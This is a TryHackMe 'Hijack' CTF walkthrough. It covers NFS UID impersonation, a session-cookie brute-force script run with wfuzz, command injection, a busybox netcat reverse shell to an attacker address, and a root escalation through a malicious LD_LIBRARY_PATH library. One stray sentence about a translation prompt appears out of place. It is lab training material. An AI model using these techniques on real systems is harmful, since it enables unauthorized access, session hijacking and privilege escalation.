Hijack (TryHackMe) writeup

GrimTheRipper
7 min readDec 15, 2024

--

https://tryhackme.com/r/room/hijack

As a first step, an nmap scan was conducted to identify open ports.

nmap -A <target_ip>

The results indicated 4 services : ftp, ssh, rpcbind, http and nfs

Next, we tried to check the web server

Since the login button was available, we attempted to log in by guessing the username and password in order to gain unauthorized access.

When we randomly tried different usernames, the system displayed “No account found with that username” for incorrect usernames. However, when we entered “admin” as the username, the error message changed to “The password you entered is not valid.” This indicates that “admin” is a valid username on the system.

Due to the system’s reliance on NFS for file sharing, we need to identify the directories that are currently mounted from the NFS server.

showmount -e <target_ip>

Let’s start by identifying what needs to be mounted

However, when we attempt to open it, access is denied.

mkdir share
sudo mount -t nfs <target_ip>:/mnt/share share
ls -la

Yet, there’s a way around it; let’s check its privileges.

NFS lacks authentication and authorization. By creating a local user with UID/GID 1003, we effectively impersonated the NFS share’s owner and gained their permissions.

We created a user with the UID 1003 and GID 1003 on our local system to mimic the share’s owner.

sudo useradd hijack
sudo usermod -u 1003 hijack
sudo groupmod -g 1003 hijack

Having logged in as the new user, we will try accessing the mounted share.

su hijack

Within the mounted share, we found a text file that contained credentials for an FTP server.

We can login with ftp

ftp <target_ip>

Upon successful login, run the “ls -la” command.

We have some interesting files here; let’s download .passwords_list.txt and .from_admin.txt, then we can exit FTP

get .passwords_list.txt

get .from_admin.txt

Let’s see froma admin first

cat .from_admin.txt 

So, we might have two accounts rick and admin.

head .passwords_list.txt 

One of the passwords within the passwords_list.txt file corresponds to the ‘admin’ account

It tried bruteforcing the login page but after 5 tries the account gets locked

Although it was technically feasible to brute force the login page, the rate-limiting restriction of five failed attempts followed by a five-minute lockout would have made this a time-consuming endeavor.

The existence of a signup page prompted further investigation. Upon registering a new account through the signup process, we were able to successfully log in.

After logging in, we looked at the cookie that was created and saw that it was Base64 encoded. We tried to decode it to see what was inside.

Post-decoding, the cookie’s structure was observed to be ‘USERNAME:HASH’. A hash identification tool determined that the hash component employed the MD5 algorithm.

hash-identifier

So i created a bash script to “bruteforce” the session cookie targeting the admin user

import hashlib
import base64

# Open the file and read its lines
with open('passwords_list.txt', 'r') as f:
lines = f.readlines()

# Loop through the lines and modify each one
for line in lines:
# Strip the line of leading/trailing whitespace
stripped_line = line.strip()

# Hash the stripped line using MD5
hashed_line = hashlib.md5(stripped_line.encode('utf-8')).hexdigest()

# Add "admin:" to the beginning of the hash
modified_hash = 'admin:' + hashed_line

# Encode the modified hash to base64
encoded_hash = base64.b64encode(modified_hash.encode('utf-8'))

# Print the encoded hash
print(encoded_hash.decode('utf-8'))

And run it

python3 hijack.py 
[base64 encoded cookies]

It seems to be working. Let’s create a wordlist from it.

python3 hijack.py > cookies.txt

Using wfuzz, we can now obtain the final session

wfuzz -u http://<target_ip>/administration.php -w cookies.txt -X POST -b 'PHPSESSID= FUZZ' --hh 51

Copy that payload and put it as PHPSESSIONID cookie

We’ve successfully hijacked session

The authentication process for the admin account was completed successfully.

Here is the administration panel

If we put a service that is running like apache2 this is the response

* apache2.service - LSB: Apache2 web server
Loaded: loaded (/etc/init.d/apache2; bad; vendor preset: enabled)
Drop-In: /lib/systemd/system/apache2.service.d
`-apache2-systemd.conf
Active: active (running) since Thu 2024-09-05 02:52:39 UTC; 4h 29min ago
Docs: man:systemd-sysv-generator(8)
Process: 1164 ExecStart=/etc/init.d/apache2 start (code=exited, status=0/SUCCESS)
Tasks: 14
Memory: 32.1M
CPU: 5.614s
CGroup: /system.slice/apache2.service
|- 1296 /usr/sbin/apache2 -k start
|- 1327 /usr/sbin/apache2 -k start
|- 1538 /usr/sbin/apache2 -k start
|- 1543 /usr/sbin/apache2 -k start
|- 1544 /usr/sbin/apache2 -k start
|- 1548 /usr/sbin/apache2 -k start
|- 1551 /usr/sbin/apache2 -k start
|- 1562 /usr/sbin/apache2 -k start
|- 1563 /usr/sbin/apache2 -k start
|- 1564 /usr/sbin/apache2 -k start
|- 1566 /usr/sbin/apache2 -k start
|-16278 sh -c /bin/bash /var/www/html/service_status.sh apache2
|-16279 /bin/bash /var/www/html/service_status.sh apache2
`-16280 systemctl status apache2

It seems like there is a filtering function, let’s try to bypass it using the & symbol.


uid=33(www-data) gid=33(www-data) groups=33(www-data)

We successfully injected the command, our next step is trying to get a reverse shell.

Of the multiple payloads obtained from revshells and tested for the command injection vulnerability, only one successfully bypassed input filtering due to the absence of restricted characters.

$(busybox nc <you-ip> 1234-e /bin/bash)

reverse shell — set up netcat listener

nc -lvnp 1234

Subsequently, we will proceed to upgrade the obtained shell.

/bin/bash
python3 -c 'import pty;pty.spawn("/bin/bash")'

I’ve found one interesting thing is config.php

cat config.php

We will attempt to leverage the discovered credentials to establish an SSH session as the user ‘rick’. It is plausible that these credentials have been compromised and reused elsewhere.

ssh rick@<target_ip> 

The exploit was successful. The user flag has been retrieved.

cat user.txt 

These credentials allow us to authenticate via SSH. Upon executing ‘sudo -l’, a potential privilege escalation vector was immediately identified.

sudo -l

The prompt is asking for a more precise English translation of a statement about the LD_LIBRARY_PATH environment variable and its relation to finding shared libraries for Apache.

ldd /usr/sbin/apache2

We’ll create a malicious C program (malware.c) in /tmp to exploit the libcrypt.so.1 library

cd /tmp
touch malware.c
nano malware.c
#include <stdio.h>
#include <stdlib.h>

static void hijack() __attribute__((constructor));

void hijack() {
unsetenv("LD_LIBRARY_PATH");
setresuid(0,0,0);
system("/bin/bash -p");
}
gcc -o /tmp/libcrypt.so.1 -shared -fPIC /tmp/malware.c
sudo LD_LIBRARY_PATH=/tmp /usr/sbin/apache2 -f /etc/apache2/apache2.conf -d /etc/apache2

Using the custom libcrypt.so.1 library, we ran the Apache2 command with LD_LIBRARY_PATH set to /tmp to load the library during execution.

cat /root/root.txt

We successfully gained root privileges and obtained the root flag.

✌.ʕʘ‿ʘʔ.✌ wow!*✰* ੈ✩‧˚

--

--

GrimTheRipper
GrimTheRipper

Written by GrimTheRipper

You get the best out of others when you give the best of yourself

No responses yet